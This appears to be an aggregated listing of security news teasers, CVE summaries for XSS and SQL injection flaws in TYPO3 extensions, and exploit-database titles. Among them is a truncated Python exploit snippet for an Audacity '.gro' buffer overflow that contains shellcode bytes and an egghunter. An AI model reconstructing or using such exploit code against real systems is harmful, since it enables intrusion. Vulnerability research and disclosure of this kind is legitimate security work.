Apple Desperately Needs an SDL Program

We’ve been saying this for years but there’s a certain desperation today for an SDL-type program at Apple. The security reality does not match Apple’s marketing/advertising and, as the Pwn2Own exploits show, the company is running around in circles trying to keep hackers at bay. Apple needs to...

Black Hat Barcelona: Facebook Set to Keynote

The Black Hat security conference will kick off next week in Barcelona, with training sessions and briefings from some of the most talented security researchers in the industry. Facebook’s chief security officer, Max Kelly, is scheduled for a keynote presentation on Wednesday morning following tw...

CVE-2009-4343

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Cross site scripting

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2009-4343

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2009-4343: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Training Company Database trainincdb extension 0.4.7 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

Crypto flaws becoming a killer for Web applications

One of the few things that most people in the security community seem to agree on is that there is a dire need for better security around Web applications. That need begins with the lack of security training for most Web developers and extends through the inconsistent use of Web-application...

Creative ways to fight data leaks

From Network World Kristy Westphal Data leakage has become a hot topic in information security. But what if you can’t afford the tools that are specifically designed to keep employees from intentionally or mistakenly leaking private or valuable corporate data to the outside? It turns out there ar...

RSA Panel Review – Macs in the Enterprise

Managing IT for a software company has its challenges. For me, the lines between efficiency, security and innovation are difficult to draw at a company like nCircle where engineers require some freedom to perform their best. The panelists at the RSA session “Responding to the ignored threat – Mac...

Sql injection

SQL injection vulnerability in Diocese of Portsmouth Training Courses pdtrainingcourses extension 0.1.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unknown vectors...

CVE-2008-6692

SQL injection vulnerability in TYPO3 extension Diocese of Portsmouth Training Courses (pd_trainingcourses) version 0.1.1, CVE-2008-6692. The issue allows remote attackers to execute arbitrary SQL commands via unknown vectors, impacting the application’s database queries. Public references (NVD, C...

CVE-2008-6692

SQL injection vulnerability in Diocese of Portsmouth Training Courses pdtrainingcourses extension 0.1.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unknown vectors...

CVE-2008-6692: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in Diocese of Portsmouth Training Courses pdtrainingcourses extension 0.1.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unknown vectors...

The biggest security vulnerability — people!

We recently conducted a project focused on confidential data security enterprisestrategygroup.com that will be published soon. However, here are some interesting advance results that support this venerable security dictum. ESG asked 308 North American and European security professionals from larg...

Can we learn from Microsoft and Google on security?

Tech security company Fortify and security consulting firm Cigital are getting ready to release a set of best practices that tech companies and other businesses can follow to ensure that the software they develop is secure. The authors developed the model by studying the security practices at...

pilotgroup-sql.txt

--==+================================================================================+==-- --==+ Pilot Online Training Solution Remote SQL Injection Vulnerbility +==-- --==+================================================================================+==--...

Pilot Group eTraining - 'news_read.php' SQL Injection

--==+================================================================================+==-- --==+ Pilot Online Training Solution Remote SQL Injection Vulnerbility +==-- --==+================================================================================+==--...

Pilot Group eTraining - news_read.php SQL Injection

Pilot Group eTraining - newsread.php SQL Injection --==+================================================================================+==-- --==+ Pilot Online Training Solution Remote SQL Injection Vulnerbility +==--...

Unfixed XSS vulnerability at www.myanmartraining.com

Security researcher tweetycoaster, has submitted on 07/01/2008 a cross-site-scripting XSS vulnerability affecting www.myanmartraining.com, which at the time of submission ranked 1488703 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/01/2008...